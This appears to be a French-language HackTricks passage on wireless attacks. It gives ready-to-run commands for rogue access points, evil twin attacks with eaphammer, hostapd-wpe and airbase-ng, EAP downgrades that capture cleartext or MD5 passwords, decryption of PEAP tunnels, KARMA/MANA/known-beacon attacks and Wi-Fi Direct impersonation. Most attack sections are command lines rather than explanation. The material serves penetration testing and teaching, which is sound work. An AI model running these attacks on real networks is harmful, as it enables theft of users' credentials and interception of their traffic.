ssid=MyAP
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=MyPassphrase
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
Utilisation
Pour démarrer le point d'accès sans fil, exécutez la commande suivante :
sudo hostapd /etc/hostapd/hostapd.conf
apt-get install hostapd
Créez un fichier de configuration hostapd.conf :
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Arrêter les processus gênants, mettre en mode monitor, et démarrer hostapd :
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
Redirection et redirection
La redirection est une technique courante utilisée pour rediriger le trafic réseau d'une machine à une autre. Cela peut être utile pour contourner les pare-feu ou pour rediriger le trafic vers une machine compromise. Il existe plusieurs outils pour effectuer des redirections, notamment socat
, netcat
, ssh
et sslh
.
La redirection peut également être utilisée pour rediriger le trafic vers des ports différents sur la même machine. Cela peut être utile pour contourner les restrictions de pare-feu ou pour masquer le trafic en le faisant passer pour un autre service.
La redirection peut également être utilisée pour rediriger le trafic vers des domaines différents. Cela peut être utile pour contourner les restrictions de pare-feu ou pour masquer le trafic en le faisant passer pour un autre domaine. Les outils couramment utilisés pour cela sont sslstrip
et mitmproxy
.
La redirection peut également être utilisée pour rediriger le trafic vers des adresses IP différentes. Cela peut être utile pour contourner les restrictions de pare-feu ou pour masquer le trafic en le faisant passer pour une autre adresse IP. Les outils couramment utilisés pour cela sont dnsspoof
et mitmproxy
.
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Jumeau Maléfique
Une attaque de jumeau maléfique est un type d'attaque Wi-Fi qui fonctionne en exploitant le fait que la plupart des ordinateurs et des téléphones ne verront que le "nom" ou l'ESSID d'un réseau sans fil (car la station de base n'est pas tenue de s'authentifier contre le client). Cela rend en fait très difficile la distinction entre les réseaux portant le même nom et le même type de chiffrement. En fait, de nombreux réseaux auront plusieurs points d'accès étendant le réseau, tous utilisant le même nom pour étendre l'accès sans perturber les utilisateurs.
En raison de la façon dont fonctionnent les clients (rappelez-vous que le protocole 802.11 permet aux stations de se déplacer librement entre les points d'accès au sein du même ESS), il est possible de faire en sorte qu'un appareil change de station de base à laquelle il est connecté. Cela est possible en offrant un meilleur signal (ce qui n'est pas toujours possible) ou en bloquant l'accès à la station de base d'origine (paquets de désauthentification, brouillage ou une autre forme d'attaque DoS).
Notez également que les déploiements sans fil du monde réel ont généralement plus d'un point d'accès, et que ces points d'accès sont souvent plus puissants et ont une meilleure portée de ligne de vue en raison de leur placement vers le plafond. La désauthentification d'un seul point d'accès entraîne généralement le passage de la cible vers un autre point d'accès valide plutôt que vers votre AP malveillant, à moins que tous les points d'accès à proximité ne soient désauthentifiés (bruyants) ou que vous soyez très prudent dans le placement de l'AP malveillant (difficile).
Vous pouvez créer un jumeau maléfique ouvert très basique (sans capacité à router le trafic vers Internet) en faisant :
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Vous pouvez également créer un Twin Maléfique en utilisant eaphammer (remarquez que pour créer des twins maléfiques avec eaphammer, l'interface NE DOIT PAS être en mode monitor):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Ou en utilisant Airgeddon: Options: 5,6,7,8,9 (dans le menu de l'attaque Evil Twin).
Veuillez noter que par défaut, si un ESSID dans la PNL est enregistré comme protégé par WPA, l'appareil ne se connectera pas automatiquement à un evil twin ouvert. Vous pouvez essayer de DoS le vrai AP et espérer que l'utilisateur se connectera manuellement à votre Open evil twin, ou vous pouvez DoS le vrai AP et utiliser un WPA Evil Twin pour capturer le handshake (en utilisant cette méthode, vous ne pourrez pas laisser la victime se connecter à vous car vous ne connaissez pas le PSK, mais vous pouvez capturer le handshake et essayer de le casser).
Certains systèmes d'exploitation et antivirus avertiront l'utilisateur que se connecter à un réseau ouvert est dangereux...
Evil Twin WPA/WPA2
Vous pouvez créer un Evil Twin en utilisant WPA/2 et si les appareils sont configurés pour se connecter à cet SSID avec WPA/2, ils vont essayer de se connecter. Cependant, pour compléter le 4-way-handshake, vous devez également connaître le mot de passe que le client va utiliser. Si vous ne le connaissez pas, la connexion ne sera pas complétée.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Evil Twin d'entreprise
Pour comprendre ces attaques, je recommande de lire d'abord la brève explication sur WPA Enterprise.
Utilisation de hostapd-wpe
hostapd-wpe
a besoin d'un fichier de configuration pour fonctionner. Pour automatiser la génération de ces configurations, vous pouvez utiliser https://github.com/WJDigby/apd_launchpad (téléchargez le fichier python à l'intérieur de /etc/hostapd-wpe/).
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
Dans le fichier de configuration, vous pouvez sélectionner de nombreuses options différentes telles que ssid, canal, fichiers utilisateur, cret/key, paramètres dh, version wpa et auth...
Utilisation de hostapd-wpe avec EAP-TLS pour permettre à n'importe quel certificat de se connecter.
Utilisation d'EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
Par défaut, EAPHammer propose ces méthodes d'authentification (remarquez que GTC est le premier à essayer d'obtenir des mots de passe en texte clair, puis l'utilisation de méthodes d'authentification plus robustes):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Voici la méthodologie par défaut pour éviter les longs temps de connexion. Cependant, vous pouvez également spécifier au serveur les méthodes d'authentification du plus faible au plus fort :
--negotiate weakest
Ou vous pouvez également utiliser :
--negotiate gtc-downgrade
pour utiliser une implémentation de rétrogradation GTC hautement efficace (mots de passe en texte clair)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP
pour spécifier manuellement les méthodes offertes (en offrant les mêmes méthodes d'authentification dans le même ordre que l'organisation, l'attaque sera beaucoup plus difficile à détecter).- Trouvez plus d'informations dans le wiki
Utilisation d'Airgeddon
Airgeddon
peut utiliser des certificats générés précédemment pour offrir une authentification EAP aux réseaux WPA/WPA2-Enterprise. Le faux réseau rétrograde le protocole de connexion vers EAP-MD5 afin de pouvoir capturer l'utilisateur et le MD5 du mot de passe. Plus tard, l'attaquant peut essayer de craquer le mot de passe.
Airggedon
vous offre la possibilité d'une attaque Evil Twin continue (bruyante) ou de créer uniquement l'attaque Evil jusqu'à ce que quelqu'un se connecte (lisse).
Débogage des tunnels TLS PEAP et EAP-TTLS dans les attaques Evil Twins
Cette méthode a été testée dans une connexion PEAP mais comme je décrypte un tunnel TLS arbitraire, cela devrait également fonctionner avec EAP-TTLS
Dans la configuration de hostapd-wpe, commentez la ligne qui contient dh_file (de dh_file=/etc/hostapd-wpe/certs/dh
à #dh_file=/etc/hostapd-wpe/certs/dh
)
Cela fera en sorte que hostapd-wpe
échange des clés en utilisant RSA au lieu de DH, vous pourrez donc décrypter le trafic plus tard en connaissant la clé privée du serveur.
Maintenant, démarrez l'Evil Twin en utilisant hostapd-wpe
avec cette configuration modifiée comme d'habitude. Démarrez également wireshark
dans l'interface qui effectue l'attaque Evil Twin.
Maintenant ou plus tard (lorsque vous avez déjà capturé certaines tentatives d'authentification), vous pouvez ajouter la clé privée RSA à wireshark dans : Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Ajoutez une nouvelle entrée et remplissez le formulaire avec ces valeurs : Adresse IP = any -- Port = 0 -- Protocole = data -- Fichier de clé (sélectionnez votre fichier de clé, pour éviter les problèmes, sélectionnez un fichier de clé sans protection par mot de passe).
Et regardez le nouvel onglet "TLS décrypté" :
Attaque KARMA, MANA, Loud MANA et Known beacons
Listes noires/blanches ESSID et MAC
Le tableau suivant répertorie les différents types de MFACL (Listes de contrôle d'accès de trame de gestion) disponibles, ainsi que leurs effets lorsqu'ils sont utilisés :
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
KARMA
Les attaques Karma sont une deuxième forme d'attaque de point d'accès frauduleux qui exploite le processus de sélection de réseau utilisé par les stations. Dans un livre blanc écrit en 2005, Dino Dai Zovi et Shane Macaulay décrivent comment un attaquant peut configurer un point d'accès pour écouter les demandes de sondage dirigées et y répondre avec des réponses de sondage dirigées correspondantes. Cela amène les stations affectées à envoyer automatiquement une demande d'association au point d'accès de l'attaquant. Le point d'accès répond ensuite avec une réponse d'association, ce qui amène les stations affectées à se connecter à l'attaquant.
MANA
Selon Ian de Villiers et Dominic White, les stations modernes sont conçues pour se protéger contre les attaques Karma en ignorant les réponses de sondage dirigées des points d'accès qui n'ont pas déjà répondu à au moins une demande de sondage de diffusion. Cela a entraîné une baisse significative du nombre de stations vulnérables aux attaques Karma jusqu'en 2015, lorsque White et de Villiers ont développé un moyen de contourner de telles protections. Dans l'attaque Karma améliorée de White et de Villiers (attaque MANA), les réponses de sondage dirigées sont utilisées pour reconstruire les PNL des stations voisines. Lorsqu'une demande de sondage de diffusion est reçue d'une station, le point d'accès de l'attaquant répond avec un SSID arbitraire provenant de la PNL de la station déjà vu dans une demande de sondage direct de ce périphérique.
En résumé, l'algorithme MANA fonctionne comme suit : chaque fois que le point d'accès reçoit une demande de sondage, il détermine d'abord s'il s'agit d'un sondage de diffusion ou dirigé. S'il s'agit d'un sondage dirigé, l'adresse MAC de l'expéditeur est ajoutée à la table de hachage (si elle n'y est pas déjà) et l'ESSID est ajouté à la PNL de ce périphérique. Le point d'accès répond ensuite avec une réponse de sondage dirigée. S'il s'agit d'un sondage de diffusion, le point d'accès répond avec des réponses de sondage pour chacun des réseaux dans la PNL de ce périphérique.
Attaque MANA utilisant eaphammer :
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Loud MANA
Notez que l'attaque MANA standard ne nous permet toujours pas d'attaquer les appareils qui n'utilisent pas de sondage dirigé du tout. Donc, si nous ne connaissons pas non plus une entrée précédente dans le PNL de l'appareil, nous devons trouver un autre moyen de l'attaquer.
Une possibilité est ce qu'on appelle l'attaque Loud MANA. Cette attaque repose sur l'idée que les appareils clients à proximité physique les uns des autres ont probablement au moins quelques entrées communes dans leurs PNL.
En résumé, l'attaque Loud MANA, au lieu de répondre aux demandes de sondage avec chaque ESSID dans le PNL d'un appareil particulier, l'AP malveillant envoie des réponses de sondage pour chaque ESSID dans chaque PNL de tous les appareils qu'il a vus auparavant. En relation avec la théorie des ensembles, nous pouvons dire que l'AP envoie des réponses de sondage pour chaque ESSID dans l'union de tous les PNL des appareils à proximité.
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
Attaque de Beacon connue
Il existe encore des cas où l'attaque Loud MANA ne réussira pas.
L'attaque de Beacon connue est une façon de "forcer" les ESSIDs pour essayer de faire connecter la victime à l'attaquant. L'attaquant crée un AP qui répond à n'importe quel ESSID et exécute un code envoyant des balises en falsifiant les ESSIDs de chaque nom dans une liste de mots. Avec un peu de chance, la victime contiendra certains de ces noms d'ESSID dans sa PNL et essaiera de se connecter au faux AP.
Eaphammer a implémenté cette attaque en tant qu'attaque MANA où tous les ESSIDs dans une liste sont chargés (vous pouvez également combiner cela avec --loud
pour créer une attaque Loud MANA + Known beacons):
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Attaque de rafale de balises connues
Comme les balises connues sont bruyantes, vous pouvez utiliser un script à l'intérieur du projet Eaphammer pour simplement lancer des balises pour chaque nom ESSID dans un fichier très rapidement. Si vous combinez ce script avec une attaque MANA Eaphammer, les clients pourront se connecter à votre point d'accès.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct
Wi-Fi Direct est une norme Wi-Fi qui permet aux appareils de se connecter les uns aux autres sans point d'accès sans fil, car l'un des deux appareils agira en tant que point d'accès (appelé propriétaire de groupe). Vous pouvez trouver Wi-Fi Direct dans de nombreux appareils IoT tels que les imprimantes, les téléviseurs...
Wi-Fi Direct s'appuie sur Wi-Fi Protected Setup (WPS) pour connecter les appareils de manière sécurisée. WPS dispose de plusieurs méthodes de configuration telles que la configuration Push-Button (PBC), la saisie de code PIN et la communication en champ proche (NFC).
Ainsi, les attaques précédemment vues sur le code PIN WPS sont également valables ici si le code PIN est utilisé.
Piratage EvilDirect
Cela fonctionne comme un Evil-Twin mais pour Wi-Fi direct, vous pouvez vous faire passer pour un propriétaire de groupe pour essayer de faire connecter d'autres appareils comme des téléphones à vous : airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0
Références
- https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee
- https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38
- https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d
- https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf
- http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/
- https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/
- https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d
TODO: Jetez un coup d'œil à https://github.com/wifiphisher/wifiphisher (connexion avec Facebook et imitation de WPA dans les portails captifs)
Suivez HackenProof pour en savoir plus sur les bugs web3
🐞 Lisez les tutoriels sur les bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
💬 Participez aux discussions de la communauté
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.